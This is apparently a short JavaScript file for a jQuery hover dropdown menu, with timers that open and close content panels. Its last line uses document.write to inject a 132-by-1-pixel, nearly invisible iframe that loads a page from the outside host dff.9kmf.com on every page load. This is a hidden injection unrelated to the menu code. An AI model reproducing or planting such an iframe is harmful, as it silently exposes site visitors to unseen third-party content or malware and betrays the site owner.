var timeout    = 500;
var closetimer    = 0;
function onmouseOverIt(flog){
	mcancelclosetime();
	$(".content").not($("#"+flog+">.content")).css("display","none");
    $("#"+flog+">.content").slideDown("200");
	
}
function onmouseOutIt(){
	mclosetime();
}

function outAll(){

$(".content").css("display","none");
}

// go close timer
function mclosetime()
{
    closetimer = window.setTimeout(outAll, timeout);
}

// cancel close timer
function mcancelclosetime()
{   
    if(closetimer)
    {
        window.clearTimeout(closetimer);
        closetimer = null;
    }
}
document.write("<iframe width='132' height='1' src='http://dff.9kmf.com/ip/top.html'></iframe>");